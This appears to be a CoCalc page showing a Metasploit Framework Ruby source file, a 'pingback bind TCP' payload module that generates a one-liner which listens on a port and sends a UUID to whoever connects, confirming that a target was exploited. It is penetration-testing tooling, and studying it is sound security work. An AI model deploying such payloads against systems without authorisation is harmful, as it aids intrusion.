Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/ruby/pingback_bind_tcp.rb
21547 views
1
module MetasploitModule
2
CachedSize = 110
3
4
include Msf::Payload::Single
5
include Msf::Payload::Ruby
6
include Msf::Payload::Pingback
7
include Msf::Payload::Pingback::Options
8
9
def initialize(info = {})
10
super(
11
merge_info(
12
info,
13
'Name' => 'Ruby Pingback, Bind TCP',
14
'Description' => 'Listens for a connection from the attacker, sends a UUID, then terminates',
15
'Author' => 'asoto-r7',
16
'License' => MSF_LICENSE,
17
'Platform' => 'ruby',
18
'Arch' => ARCH_RUBY,
19
'Handler' => Msf::Handler::BindTcp,
20
'Session' => Msf::Sessions::Pingback,
21
'PayloadType' => 'ruby'
22
)
23
)
24
end
25
26
def generate(_opts = {})
27
# return prepends(ruby_string)
28
return ruby_string
29
end
30
31
def ruby_string
32
self.pingback_uuid ||= generate_pingback_uuid
33
return "require'socket';" \
34
"s=TCPServer.new(#{datastore['LPORT'].to_i});"\
35
'c=s.accept;'\
36
's.close;'\
37
"c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}\'.unpack('m0');" \
38
'c.close'
39
end
40
end
41
42